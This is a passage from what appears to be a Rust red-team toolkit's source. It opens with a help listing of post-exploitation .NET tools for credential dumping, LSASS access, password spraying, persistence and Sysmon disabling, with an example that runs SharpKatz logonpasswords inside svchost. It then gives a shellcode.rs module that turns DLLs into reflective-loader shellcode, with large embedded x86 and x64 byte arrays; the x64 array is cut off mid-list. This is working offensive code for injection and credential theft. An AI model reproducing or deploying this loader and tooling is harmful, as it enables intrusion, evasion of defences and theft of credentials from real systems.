Wrapper. @shantanu561993"); 250 | println!(" sharp SharpChrome Chrome-specific implementation of SharpDPAPI capable of cookies and logins decryption/triage. @GhostPack"); 251 | println!(" sharp SharpChromium C# Project to retrieve Chromium data, such as cookies, history and saved logins. @djhohnstein"); 252 | println!(" sharp SharpCloud Simple C# for checking for the existence of credential files related to AWS, Microsoft Azure, and Google Compute. @chrismaddalena"); 253 | println!(" sharp SharpCrashEventLog C# port of LogServiceCrash @slyd0g @limbenjamin"); 254 | println!(" sharp SharpDir C# tool to search both local and remote file systems for files. @jnqpblc"); 255 | println!(" sharp SharpDoor C# tool to allow multiple RDP (Remote Desktop) sessions by patching termsrv.dll file. @infosecn1nja"); 256 | println!(" sharp SharpDPAPI C# port of some Mimikatz DPAPI functionality. @GhostPack"); 257 | println!(" sharp SharpDump SharpDump is a C# port of PowerSploit's Out-Minidump.ps1 functionality. @GhostPack"); 258 | println!(" sharp sharpfiles C# tool to search for files based on SharpShares output. @fullmetalcache"); 259 | println!(" sharp SharpGPOAbuse SharpGPOAbuse is a .NET application written in C# that can be used to take advantage of a user's edit rights on a Group Policy Object (GPO). @FSecureLABS"); 260 | println!(" sharp SharpHandler C# tool for stealing/duping handles to LSASS @Jean_Maes_1994"); 261 | println!(" sharp SharpHose Asynchronous Password Spraying Tool in C# for Windows Environments . @ustayready"); 262 | println!( 263 | " sharp SharpHound3 C# Rewrite of the BloodHound Ingestor. @BloodHoundAD" 264 | ); 265 | println!(" sharp SharpKatz PURE C# port of significant MimiKatz functionality such as logonpasswords, dcsync, etc. @b4rtik"); 266 | println!(" sharp SharpLAPS A C# tool to retrieve LAPS passwords from LDAP @pentest_swissky"); 267 | println!(" sharp SharpMapExec C# version of @byt3bl33d3r's tool CrackMapExec @cube0x0"); 268 | println!(" sharp SharpMiniDump C# tool to Create a minidump of the LSASS process from memory @b4rtik"); 269 | println!(" sharp SharpMove C# tool for performing lateral movement techniques @0xthirteen"); 270 | println!(" sharp SharpRDP C# Remote Desktop Protocol Console Application for Authenticated Command Execution @0xthirteen"); 271 | println!(" sharp SharpReg C# tool to interact with the Remote Registry service api. @jnqpblc"); 272 | println!(" sharp SharpSecDump C# port of the remote SAM + LSA Secrets dumping functionality of impacket's secretsdump.py @G0ldenGunSec"); 273 | println!(" sharp SharpShares Enumerate all network shares in the current domain. @djhohnstein"); 274 | println!(" sharp Sharp-SMBExec A native C# conversion of Kevin Robertsons Invoke-SMBExec powershell script @checkymander"); 275 | println!(" sharp SharpSphere C# SharpSphere has the ability to interact with the guest operating systems of virtual machines managed by vCenter. @jkcoote & @grzryc"); 276 | println!(" sharp SharpSpray C# tool to perform a password spraying attack against all users of a domain using LDAP. @jnqpblc"); 277 | println!( 278 | " sharp SharpStay .NET project for installing Persistence. @0xthirteen" 279 | ); 280 | println!(" sharp SharpSvc C# tool to interact with the SC Manager API. @jnqpblc (Only NET 4.7)"); 281 | println!(" sharp SharpTask C# tool to interact with the Task Scheduler service api. @jnqpblc"); 282 | println!( 283 | " sharp SharpUp C# port of various PowerUp functionality. @GhostPack" 284 | ); 285 | println!(" sharp SharpView C# implementation of harmj0y's PowerView. @tevora-threat"); 286 | println!(" sharp SharpWMI C# implementation of various WMI functionality. @GhostPack"); 287 | println!(" sharp SharpZeroLogon C# port of CVE-2020-1472 , a.k.a. Zerologon. @buffaloverflow"); 288 | println!(" sharp Shhmon Neutering Sysmon via driver unload. @Shhmon"); 289 | println!(" sharp Snaffler C# tool for pentesters to help find delicious candy needles (creds mostly, but it's flexible). @SnaffCon"); 290 | println!(" sharp SqlClient C# .NET mssql client for accessing database data through beacon. @FortyNorthSecurity"); 291 | println!( 292 | " sharp StandIn C# based small AD post-compromise toolkit. @FuzzySec" 293 | ); 294 | println!(" sharp StickyNotesExtract C# tool that extracts data from the Windows Sticky Notes database. @V1V1"); 295 | println!(" sharp SweetPotato Local Service to SYSTEM privilege escalation from Windows 7 to Windows 10 / Server 2019 . @CCob"); 296 | println!(" sharp ThunderFox C# Retrieves data (contacts, emails, history, cookies and credentials) from Thunderbird and Firefox. @V1V1"); 297 | println!(" sharp TruffleSnout C# based iterative AD discovery toolkit for offensive operators. @dsnezhkov"); 298 | println!(" sharp Watson Enumerate missing KBs and suggest exploits for useful Privilege Escalation vulnerabilities . @rasta-mouse"); 299 | println!(" sharp winPEAS PEASS Privilege Escalation Awesome Scripts (winPEAS). @carlospolop"); 300 | println!(" sharp WMIReg C# PoC to interact with local/remote registry hives through WMI. @airzero24"); 301 | println!("\n sharp "); 302 | println!(" eg: sharp svchost SharpKatz --Command logonpasswords"); 303 | } 304 | -------------------------------------------------------------------------------- /src/util/shellcode.rs: -------------------------------------------------------------------------------- 1 | use byteorder::{ByteOrder, LittleEndian, ReadBytesExt}; 2 | use std::io::prelude::*; 3 | use std::{fs, path, process}; 4 | 5 | pub fn is_64bit_dll(dll: &[u8]) -> bool { 6 | const MACHINE_IA64: u16 = 512; 7 | const MACHINE_AMD64: u16 = 34404; 8 | let mut buf: &[u8] = &dll[60..64]; 9 | let header_offset: u32 = buf.read_u32::().unwrap(); 10 | buf = &dll[header_offset as usize + 4..header_offset as usize + 6]; 11 | let machine: u16 = buf.read_u16::().unwrap(); 12 | 13 | machine == MACHINE_IA64 || machine == MACHINE_AMD64 14 | } 15 | 16 | pub fn ror(val: u32, r_bits: u32, max_bits: u32) -> u32 { 17 | let base: u64 = 2; 18 | let exp = base.pow(max_bits) - 1; 19 | ((val & exp as u32) >> r_bits.rem_euclid(max_bits)) 20 | | (val << (max_bits - (r_bits.rem_euclid(max_bits))) & exp as u32) 21 | } 22 | 23 | pub fn hash_function_name(name: &str) -> u32 { 24 | let mut function: Vec = name.as_bytes().to_vec(); 25 | function.extend_from_slice(&[0x00]); 26 | let mut function_hash: u32 = 0; 27 | 28 | for byte in function.iter() { 29 | function_hash = ror(function_hash, 13, 32); 30 | function_hash += *byte as u32; 31 | } 32 | function_hash 33 | } 34 | 35 | // function similar to struct.pack from python3 36 | pub fn pack(val: u32) -> [u8; 4] { 37 | let mut bytes = [0; 4]; 38 | LittleEndian::write_u32(&mut bytes, val); 39 | bytes 40 | } 41 | 42 | pub fn shellcode_rdi(dll_path: &str, function_name: &str, user_data: String) -> Vec { 43 | let clear_header = true; 44 | let hash_function: [u8; 4]; 45 | // read dll into memory 46 | let dll = if path::Path::new(dll_path).exists() { 47 | fs::read(dll_path).unwrap() 48 | } else { 49 | println!("Could not find DLL"); 50 | process::exit(1); 51 | }; 52 | if !function_name.eq("") { 53 | let hash_function_u32 = hash_function_name(&function_name); 54 | hash_function = pack(hash_function_u32); 55 | } else { 56 | hash_function = pack(0x10_u32); 57 | } 58 | let mut flags = 0; 59 | if clear_header { 60 | flags = 0x1; 61 | } 62 | convert_to_shellcode(dll, hash_function, user_data.into_bytes(), flags) 63 | } 64 | 65 | pub fn shellcode_rdi_from_bytes( 66 | dll_bytes: Vec, 67 | function_name: String, 68 | user_data: String, 69 | ) -> Vec { 70 | let clear_header = true; 71 | let hash_function: [u8; 4]; 72 | if !function_name.eq("") { 73 | let hash_function_u32 = hash_function_name(&function_name); 74 | hash_function = pack(hash_function_u32); 75 | } else { 76 | hash_function = pack(0x10_u32); 77 | } 78 | let mut flags = 0; 79 | if clear_header { 80 | flags = 0x1; 81 | } 82 | convert_to_shellcode(dll_bytes, hash_function, user_data.into_bytes(), flags) 83 | } 84 | 85 | pub fn convert_to_shellcode( 86 | dll_bytes: Vec, 87 | function_hash: [u8; 4], 88 | user_data_: Vec, 89 | flags: u32, 90 | ) -> Vec { 91 | let rdi_shellcode_32 = [ 92 | 0x83, 0xEC, 0x6C, 0x53, 0x55, 0x56, 0x57, 0xB9, 0x4C, 0x77, 0x26, 0x07, 0xE8, 0x6E, 0x06, 93 | 0x00, 0x00, 0x8B, 0xF8, 0xB9, 0x49, 0xF7, 0x02, 0x78, 0x89, 0x7C, 0x24, 0x28, 0xE8, 0x5E, 94 | 0x06, 0x00, 0x00, 0x8B, 0xF0, 0xB9, 0x58, 0xA4, 0x53, 0xE5, 0x89, 0x74, 0x24, 0x2C, 0xE8, 95 | 0x4E, 0x06, 0x00, 0x00, 0x8B, 0xD8, 0xB9, 0x10, 0xE1, 0x8A, 0xC3, 0x89, 0x5C, 0x24, 0x20, 96 | 0xE8, 0x3E, 0x06, 0x00, 0x00, 0xB9, 0xAF, 0xB1, 0x5C, 0x94, 0x89, 0x44, 0x24, 0x30, 0xE8, 97 | 0x30, 0x06, 0x00, 0x00, 0xB9, 0x33, 0x00, 0x9E, 0x95, 0x89, 0x44, 0x24, 0x34, 0xE8, 0x22, 98 | 0x06, 0x00, 0x00, 0xB9, 0x44, 0xF0, 0x35, 0xE0, 0x8B, 0xE8, 0xE8, 0x16, 0x06, 0x00, 0x00, 99 | 0x89, 0x44, 0x24, 0x40, 0x85, 0xFF, 0x0F, 0x84, 0x00, 0x06, 0x00, 0x00, 0x85, 0xF6, 0x0F, 100 | 0x84, 0xF8, 0x05, 0x00, 0x00, 0x85, 0xDB, 0x0F, 0x84, 0xF0, 0x05, 0x00, 0x00, 0x83, 0x7C, 101 | 0x24, 0x30, 0x00, 0x0F, 0x84, 0xE5, 0x05, 0x00, 0x00, 0x83, 0x7C, 0x24, 0x34, 0x00, 0x0F, 102 | 0x84, 0xDA, 0x05, 0x00, 0x00, 0x85, 0xED, 0x0F, 0x84, 0xD2, 0x05, 0x00, 0x00, 0x85, 0xC0, 103 | 0x0F, 0x84, 0xCA, 0x05, 0x00, 0x00, 0x8B, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x8B, 0x70, 104 | 0x3C, 0x03, 0xF0, 0x81, 0x3E, 0x50, 0x45, 0x00, 0x00, 0x0F, 0x85, 0xB2, 0x05, 0x00, 0x00, 105 | 0xB8, 0x4C, 0x01, 0x00, 0x00, 0x66, 0x39, 0x46, 0x04, 0x0F, 0x85, 0xA3, 0x05, 0x00, 0x00, 106 | 0xF6, 0x46, 0x38, 0x01, 0x0F, 0x85, 0x99, 0x05, 0x00, 0x00, 0x0F, 0xB7, 0x56, 0x06, 0x33, 107 | 0xFF, 0x0F, 0xB7, 0x46, 0x14, 0x85, 0xD2, 0x74, 0x22, 0x8D, 0x4E, 0x24, 0x03, 0xC8, 0x83, 108 | 0x79, 0x04, 0x00, 0x8B, 0x01, 0x75, 0x05, 0x03, 0x46, 0x38, 0xEB, 0x03, 0x03, 0x41, 0x04, 109 | 0x3B, 0xC7, 0x0F, 0x47, 0xF8, 0x83, 0xC1, 0x28, 0x83, 0xEA, 0x01, 0x75, 0xE3, 0x8D, 0x44, 110 | 0x24, 0x58, 0x50, 0xFF, 0xD5, 0x8B, 0x4C, 0x24, 0x5C, 0x8D, 0x51, 0xFF, 0x8D, 0x69, 0xFF, 111 | 0xF7, 0xD2, 0x03, 0x6E, 0x50, 0x8D, 0x41, 0xFF, 0x03, 0xC7, 0x23, 0xEA, 0x23, 0xC2, 0x3B, 112 | 0xE8, 0x0F, 0x85, 0x42, 0x05, 0x00, 0x00, 0x6A, 0x04, 0xBF, 0x00, 0x30, 0x00, 0x00, 0x57, 113 | 0x55, 0xFF, 0x76, 0x34, 0xFF, 0xD3, 0x8B, 0xD8, 0x89, 0x5C, 0x24, 0x24, 0x85, 0xDB, 0x75, 114 | 0x0F, 0x6A, 0x04, 0x57, 0x55, 0x50, 0xFF, 0x54, 0x24, 0x30, 0x8B, 0xD8, 0x89, 0x44, 0x24, 115 | 0x24, 0xF6, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0x01, 0x74, 0x28, 0x8B, 0x94, 0x24, 0x80, 116 | 0x00, 0x00, 0x00, 0x8B, 0x42, 0x3C, 0x89, 0x43, 0x3C, 0x8B, 0x4A, 0x3C, 0x3B, 0x4E, 0x54, 117 | 0x73, 0x31, 0x8D, 0x3C, 0x0B, 0x2B, 0xD3, 0x8A, 0x04, 0x3A, 0x41, 0x88, 0x07, 0x47, 0x3B, 118 | 0x4E, 0x54, 0x72, 0xF4, 0xEB, 0x1E, 0x33, 0xFF, 0x39, 0x7E, 0x54, 0x76, 0x17, 0x8B, 0x94, 119 | 0x24, 0x80, 0x00, 0x00, 0x00, 0x8B, 0xCB, 0x2B, 0xD3, 0x8A, 0x04, 0x11, 0x47, 0x88, 0x01, 120 | 0x41, 0x3B, 0x7E, 0x54, 0x72, 0xF4, 0x8B, 0x6B, 0x3C, 0x33, 0xC9, 0x03, 0xEB, 0x89, 0x4C, 121 | 0x24, 0x1C, 0x33, 0xD2, 0x89, 0x6C, 0x24, 0x14, 0x0F, 0xB7, 0x45, 0x14, 0x66, 0x3B, 0x55, 122 | 0x06, 0x73, 0x40, 0x8D, 0x75, 0x28, 0x03, 0xF0, 0x33, 0xFF, 0x39, 0x3E, 0x76, 0x25, 0x8B, 123 | 0xAC, 0x24, 0x80, 0x00, 0x00, 0x00, 0x8B, 0x46, 0x04, 0x8D, 0x14, 0x3B, 0x8B, 0x4E, 0xFC, 124 | 0x03, 0xC7, 0x47, 0x8A, 0x04, 0x28, 0x88, 0x04, 0x0A, 0x3B, 0x3E, 0x72, 0xEA, 0x8B, 0x6C, 125 | 0x24, 0x14, 0x8B, 0x4C, 0x24, 0x1C, 0x0F, 0xB7, 0x45, 0x06, 0x41, 0x83, 0xC6, 0x28, 0x89, 126 | 0x4C, 0x24, 0x1C, 0x3B, 0xC8, 0x72, 0xC5, 0x6A, 0x01, 0x8B, 0xFB, 0x5E, 0x89, 0x74, 0x24, 127 | 0x20, 0x2B, 0x7D, 0x34, 0x74, 0x7B, 0x83, 0xBD, 0xA4, 0x00, 0x00, 0x00, 0x00, 0x74, 0x72, 128 | 0x8B, 0x95, 0xA0, 0x00, 0x00, 0x00, 0x03, 0xD3, 0x83, 0x3A, 0x00, 0x74, 0x65, 0x6A, 0x02, 129 | 0x5D, 0x8D, 0x72, 0x08, 0xEB, 0x46, 0x0F, 0xB7, 0x0E, 0x66, 0x8B, 0xC1, 0x66, 0xC1, 0xE8, 130 | 0x0C, 0x66, 0x83, 0xF8, 0x0A, 0x74, 0x06, 0x66, 0x83, 0xF8, 0x03, 0x75, 0x0D, 0x81, 0xE1, 131 | 0xFF, 0x0F, 0x00, 0x00, 0x03, 0x0A, 0x01, 0x3C, 0x19, 0xEB, 0x21, 0x66, 0x3B, 0x44, 0x24, 132 | 0x20, 0x75, 0x07, 0x8B, 0xC7, 0xC1, 0xE8, 0x10, 0xEB, 0x08, 0x66, 0x3B, 0xC5, 0x75, 0x0E, 133 | 0x0F, 0xB7, 0xC7, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x03, 0x0A, 0x01, 0x04, 0x19, 0x03, 134 | 0xF5, 0x8B, 0x42, 0x04, 0x03, 0xC2, 0x3B, 0xF0, 0x75, 0xB1, 0x83, 0x3E, 0x00, 0x8B, 0xD6, 135 | 0x75, 0xA5, 0x8B, 0x6C, 0x24, 0x14, 0x33, 0xF6, 0x46, 0x83, 0xBD, 0x84, 0x00, 0x00, 0x00, 136 | 0x00, 0x0F, 0x84, 0x97, 0x01, 0x00, 0x00, 0x8B, 0x85, 0x80, 0x00, 0x00, 0x00, 0x8D, 0x0C, 137 | 0x18, 0x83, 0xC0, 0x0C, 0x03, 0xC3, 0x89, 0x4C, 0x24, 0x1C, 0x33, 0xC9, 0x89, 0x4C, 0x24, 138 | 0x18, 0x39, 0x08, 0x74, 0x0D, 0x8D, 0x40, 0x14, 0x41, 0x83, 0x38, 0x00, 0x75, 0xF7, 0x89, 139 | 0x4C, 0x24, 0x18, 0x8B, 0x94, 0x24, 0x90, 0x00, 0x00, 0x00, 0x8B, 0xC2, 0x83, 0xE0, 0x04, 140 | 0x89, 0x44, 0x24, 0x3C, 0x0F, 0x84, 0xAE, 0x00, 0x00, 0x00, 0x3B, 0xCE, 0x0F, 0x86, 0xA6, 141 | 0x00, 0x00, 0x00, 0xC1, 0xEA, 0x10, 0x8D, 0x41, 0xFF, 0x89, 0x94, 0x24, 0x90, 0x00, 0x00, 142 | 0x00, 0x33, 0xD2, 0x89, 0x44, 0x24, 0x38, 0x89, 0x54, 0x24, 0x20, 0x85, 0xC0, 0x0F, 0x84, 143 | 0x92, 0x00, 0x00, 0x00, 0x8B, 0x5C, 0x24, 0x1C, 0x8B, 0xAC, 0x24, 0x80, 0x00, 0x00, 0x00, 144 | 0x89, 0x5C, 0x24, 0x1C, 0x2B, 0xCA, 0x69, 0xED, 0xFD, 0x43, 0x03, 0x00, 0x33, 0xD2, 0x8D, 145 | 0x7C, 0x24, 0x44, 0xB8, 0xFF, 0x7F, 0x00, 0x00, 0xF7, 0xF1, 0x81, 0xC5, 0xC3, 0x9E, 0x26, 146 | 0x00, 0x33, 0xD2, 0x6A, 0x05, 0x8D, 0x48, 0x01, 0x8B, 0xC5, 0xC1, 0xE8, 0x10, 0x25, 0xFF, 147 | 0x7F, 0x00, 0x00, 0xF7, 0xF1, 0x8B, 0x54, 0x24, 0x24, 0x03, 0xC2, 0x6B, 0xC0, 0x14, 0x59, 148 | 0x6A, 0x05, 0x03, 0xC3, 0x42, 0x8B, 0xF0, 0x89, 0x54, 0x24, 0x24, 0xF3, 0xA5, 0x8B, 0x74, 149 | 0x24, 0x20, 0x8B, 0xF8, 0x8B, 0x44, 0x24, 0x20, 0x59, 0xF3, 0xA5, 0x6A, 0x05, 0x8B, 0xF8, 150 | 0x8D, 0x74, 0x24, 0x48, 0x59, 0x83, 0xC0, 0x14, 0xF3, 0xA5, 0x8B, 0x4C, 0x24, 0x18, 0x89, 151 | 0x44, 0x24, 0x1C, 0x3B, 0x54, 0x24, 0x38, 0x72, 0x92, 0x8B, 0x5C, 0x24, 0x24, 0x8B, 0x6C, 152 | 0x24, 0x14, 0xEB, 0x0B, 0x8B, 0x44, 0x24, 0x40, 0x89, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 153 | 0x8B, 0xB5, 0x80, 0x00, 0x00, 0x00, 0x03, 0xF3, 0x89, 0x74, 0x24, 0x20, 0x8B, 0x46, 0x0C, 154 | 0x85, 0xC0, 0x0F, 0x84, 0x88, 0x00, 0x00, 0x00, 0x8B, 0x6C, 0x24, 0x18, 0x03, 0xC3, 0x50, 155 | 0xFF, 0x54, 0x24, 0x2C, 0x8B, 0x7E, 0x10, 0x89, 0x44, 0x24, 0x38, 0x03, 0xFB, 0x8B, 0x06, 156 | 0x03, 0xC3, 0x89, 0x44, 0x24, 0x24, 0x8B, 0x08, 0x85, 0xC9, 0x74, 0x36, 0x8B, 0x6C, 0x24, 157 | 0x38, 0x8B, 0x74, 0x24, 0x2C, 0x79, 0x05, 0x0F, 0xB7, 0xC1, 0xEB, 0x05, 0x8D, 0x41, 0x02, 158 | 0x03, 0xC3, 0x50, 0x55, 0xFF, 0xD6, 0x89, 0x07, 0x83, 0xC7, 0x04, 0x8B, 0x44, 0x24, 0x24, 159 | 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x24, 0x8B, 0x08, 0x85, 0xC9, 0x75, 0xDA, 0x8B, 0x74, 160 | 0x24, 0x20, 0x8B, 0x6C, 0x24, 0x18, 0x83, 0x7C, 0x24, 0x3C, 0x00, 0x74, 0x17, 0x33, 0xC0, 161 | 0x40, 0x3B, 0xE8, 0x76, 0x10, 0x69, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0xE8, 0x03, 0x00, 162 | 0x00, 0x50, 0xFF, 0x54, 0x24, 0x44, 0x8B, 0x46, 0x20, 0x83, 0xC6, 0x14, 0x89, 0x74, 0x24, 163 | 0x20, 0x85, 0xC0, 0x75, 0x80, 0x8B, 0x6C, 0x24, 0x14, 0x83, 0xBD, 0xE4, 0x00, 0x00, 0x00, 164 | 0x00, 0x74, 0x73, 0x8B, 0xBD, 0xE0, 0x00, 0x00, 0x00, 0x83, 0xC7, 0x04, 0x03, 0xFB, 0x89, 165 | 0x7C, 0x24, 0x20, 0x83, 0x3F, 0x00, 0x74, 0x5F, 0x8B, 0x07, 0x03, 0xC3, 0x50, 0xFF, 0x54, 166 | 0x24, 0x2C, 0x8B, 0x77, 0x08, 0x8B, 0xE8, 0x8B, 0x47, 0x0C, 0x03, 0xF3, 0x03, 0xC3, 0x89, 167 | 0x44, 0x24, 0x24, 0x83, 0x3E, 0x00, 0x74, 0x31, 0x8B, 0x7C, 0x24, 0x2C, 0x8B, 0x00, 0x85, 168 | 0xC0, 0x79, 0x05, 0x0F, 0xB7, 0xC0, 0xEB, 0x05, 0x83, 0xC0, 0x02, 0x03, 0xC3, 0x50, 0x55, 169 | 0xFF, 0xD7, 0x89, 0x06, 0x83, 0xC6, 0x04, 0x8B, 0x44, 0x24, 0x24, 0x83, 0xC0, 0x04, 0x89, 170 | 0x44, 0x24, 0x24, 0x83, 0x3E, 0x00, 0x75, 0xD7, 0x8B, 0x7C, 0x24, 0x20, 0x83, 0xC7, 0x20, 171 | 0x89, 0x7C, 0x24, 0x20, 0x83, 0x3F, 0x00, 0x75, 0xA5, 0x8B, 0x6C, 0x24, 0x14, 0x0F, 0xB7, 172 | 0x45, 0x14, 0x33, 0xC9, 0x33, 0xFF, 0x66, 0x3B, 0x4D, 0x06, 0x0F, 0x83, 0xB0, 0x00, 0x00, 173 | 0x00, 0x8D, 0x75, 0x3C, 0x03, 0xF0, 0x83, 0x7E, 0xEC, 0x00, 0x0F, 0x84, 0x91, 0x00, 0x00, 174 | 0x00, 0x8B, 0x0E, 0x33, 0xD2, 0x42, 0x8B, 0xC1, 0xC1, 0xE8, 0x1D, 0x23, 0xC2, 0x8B, 0xD1, 175 | 0xC1, 0xEA, 0x1E, 0x83, 0xE2, 0x01, 0xC1, 0xE9, 0x1F, 0x85, 0xC0, 0x75, 0x18, 0x85, 0xD2, 176 | 0x75, 0x0D, 0x6A, 0x08, 0x58, 0x6A, 0x01, 0x85, 0xC9, 0x59, 0x0F, 0x44, 0xC1, 0xEB, 0x3D, 177 | 0x6A, 0x04, 0x58, 0x6A, 0x02, 0xEB, 0xF1, 0x85, 0xD2, 0x75, 0x1E, 0x85, 0xC9, 0x75, 0x05, 178 | 0x6A, 0x10, 0x58, 0xEB, 0x29, 0x85, 0xD2, 0x75, 0x11, 0x85, 0xC9, 0x74, 0x07, 0xB8, 0x80, 179 | 0x00, 0x00, 0x00, 0xEB, 0x1A, 0x8B, 0x44, 0x24, 0x10, 0xEB, 0x18, 0x85, 0xC9, 0x75, 0x04, 180 | 0x6A, 0x20, 0xEB, 0xE0, 0x8B, 0x44, 0x24, 0x10, 0x85, 0xC9, 0x6A, 0x40, 0x5A, 0x0F, 0x45, 181 | 0xC2, 0x89, 0x44, 0x24, 0x10, 0xF7, 0x06, 0x00, 0x00, 0x00, 0x04, 0x74, 0x09, 0x0D, 0x00, 182 | 0x02, 0x00, 0x00, 0x89, 0x44, 0x24, 0x10, 0x8D, 0x4C, 0x24, 0x10, 0x51, 0x50, 0x8B, 0x46, 183 | 0xE8, 0xFF, 0x76, 0xEC, 0x03, 0xC3, 0x50, 0xFF, 0x54, 0x24, 0x40, 0x0F, 0xB7, 0x45, 0x06, 184 | 0x47, 0x83, 0xC6, 0x28, 0x3B, 0xF8, 0x0F, 0x82, 0x55, 0xFF, 0xFF, 0xFF, 0x6A, 0x00, 0x6A, 185 | 0x00, 0x6A, 0xFF, 0xFF, 0x54, 0x24, 0x40, 0x83, 0xBD, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x74, 186 | 0x26, 0x8B, 0x85, 0xC0, 0x00, 0x00, 0x00, 0x8B, 0x74, 0x18, 0x0C, 0x8B, 0x06, 0x85, 0xC0, 187 | 0x74, 0x16, 0x33, 0xED, 0x45, 0x6A, 0x00, 0x55, 0x53, 0xFF, 0xD0, 0x8D, 0x76, 0x04, 0x8B, 188 | 0x06, 0x85, 0xC0, 0x75, 0xF1, 0x8B, 0x6C, 0x24, 0x14, 0x33, 0xC0, 0x40, 0x50, 0x50, 0x8B, 189 | 0x45, 0x28, 0x53, 0x03, 0xC3, 0xFF, 0xD0, 0x83, 0xBC, 0x24, 0x84, 0x00, 0x00, 0x00, 0x00, 190 | 0x0F, 0x84, 0xAD, 0x00, 0x00, 0x00, 0x83, 0x7D, 0x7C, 0x00, 0x0F, 0x84, 0xA3, 0x00, 0x00, 191 | 0x00, 0x8B, 0x55, 0x78, 0x03, 0xD3, 0x8B, 0x6A, 0x18, 0x85, 0xED, 0x0F, 0x84, 0x93, 0x00, 192 | 0x00, 0x00, 0x83, 0x7A, 0x14, 0x00, 0x0F, 0x84, 0x89, 0x00, 0x00, 0x00, 0x8B, 0x7A, 0x20, 193 | 0x8B, 0x4A, 0x24, 0x03, 0xFB, 0x83, 0x64, 0x24, 0x34, 0x00, 0x03, 0xCB, 0x85, 0xED, 0x74, 194 | 0x76, 0x8B, 0x37, 0xC7, 0x44, 0x24, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x03, 0xF3, 0x74, 0x68, 195 | 0x8A, 0x06, 0x84, 0xC0, 0x74, 0x1C, 0x8B, 0x6C, 0x24, 0x1C, 0x0F, 0xBE, 0xC0, 0x03, 0xC5, 196 | 0xC1, 0xC8, 0x0D, 0x46, 0x8B, 0xE8, 0x8A, 0x06, 0x84, 0xC0, 0x75, 0xEF, 0x89, 0x6C, 0x24, 197 | 0x1C, 0x8B, 0x6A, 0x18, 0x8B, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, 0x3B, 0x44, 0x24, 0x1C, 198 | 0x75, 0x04, 0x85, 0xC9, 0x75, 0x15, 0x8B, 0x44, 0x24, 0x34, 0x83, 0xC7, 0x04, 0x40, 0x83, 199 | 0xC1, 0x02, 0x89, 0x44, 0x24, 0x34, 0x3B, 0xC5, 0x72, 0xAC, 0xEB, 0x20, 0x0F, 0xB7, 0x09, 200 | 0x8B, 0x42, 0x1C, 0xFF, 0xB4, 0x24, 0x8C, 0x00, 0x00, 0x00, 0xFF, 0xB4, 0x24, 0x8C, 0x00, 201 | 0x00, 0x00, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x18, 0x03, 0xC3, 0xFF, 0xD0, 0x59, 0x59, 0x8B, 202 | 0xC3, 0xEB, 0x02, 0x33, 0xC0, 0x5F, 0x5E, 0x5D, 0x5B, 0x83, 0xC4, 0x6C, 0xC3, 0x83, 0xEC, 203 | 0x10, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x53, 0x55, 0x56, 0x8B, 0x40, 0x0C, 0x57, 0x89, 204 | 0x4C, 0x24, 0x18, 0x8B, 0x70, 0x0C, 0xE9, 0x8A, 0x00, 0x00, 0x00, 0x8B, 0x46, 0x30, 0x33, 205 | 0xC9, 0x8B, 0x5E, 0x2C, 0x8B, 0x36, 0x89, 0x44, 0x24, 0x14, 0x8B, 0x42, 0x3C, 0x8B, 0x6C, 206 | 0x10, 0x78, 0x89, 0x6C, 0x24, 0x10, 0x85, 0xED, 0x74, 0x6D, 0xC1, 0xEB, 0x10, 0x33, 0xFF, 207 | 0x85, 0xDB, 0x74, 0x1F, 0x8B, 0x6C, 0x24, 0x14, 0x8A, 0x04, 0x2F, 0xC1, 0xC9, 0x0D, 0x3C, 208 | 0x61, 0x0F, 0xBE, 0xC0, 0x7C, 0x03, 0x83, 0xC1, 0xE0, 0x03, 0xC8, 0x47, 0x3B, 0xFB, 0x72, 209 | 0xE9, 0x8B, 0x6C, 0x24, 0x10, 0x8B, 0x44, 0x2A, 0x20, 0x33, 0xDB, 0x8B, 0x7C, 0x2A, 0x18, 210 | 0x03, 0xC2, 0x89, 0x7C, 0x24, 0x14, 0x85, 0xFF, 0x74, 0x31, 0x8B, 0x28, 0x33, 0xFF, 0x03, 211 | 0xEA, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x1C, 0x0F, 0xBE, 0x45, 0x00, 0xC1, 0xCF, 0x0D, 212 | 0x03, 0xF8, 0x45, 0x80, 0x7D, 0xFF, 0x00, 0x75, 0xF0, 0x8D, 0x04, 0x0F, 0x3B, 0x44, 0x24, 213 | 0x18, 0x74, 0x20, 0x8B, 0x44, 0x24, 0x1C, 0x43, 0x3B, 0x5C, 0x24, 0x14, 0x72, 0xCF, 0x8B, 214 | 0x56, 0x18, 0x85, 0xD2, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x33, 0xC0, 0x5F, 0x5E, 0x5D, 215 | 0x5B, 0x83, 0xC4, 0x10, 0xC3, 0x8B, 0x74, 0x24, 0x10, 0x8B, 0x44, 0x16, 0x24, 0x8D, 0x04, 216 | 0x58, 0x0F, 0xB7, 0x0C, 0x10, 0x8B, 0x44, 0x16, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x10, 217 | 0x03, 0xC2, 0xEB, 0xDB, 218 | ]; 219 | let rdi_shellcode_64 = [ 220 | 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x44, 0x89, 0x48, 0x20, 0x4C, 0x89, 0x40, 0x18, 221 | 0x89, 0x50, 0x10, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 222 | 0x8D, 0x68, 0xA9, 0x48, 0x81, 0xEC, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xF1, 0xB9, 0x4C, 223 | 0x77, 0x26, 0x07, 0xE8, 0xA3, 0x06, 0x00, 0x00, 0xB9, 0x49, 0xF7, 0x02, 0x78, 0x48, 0x89, 224 | 0x45, 0xB7, 0x4C, 0x8B, 0xE0, 0xE8, 0x92, 0x06, 0x00, 0x00, 0xB9, 0x58, 0xA4, 0x53, 0xE5, 225 | 0x48, 0x89, 0x45, 0xBF, 0x4C, 0x8B, 0xE8, 0xE8, 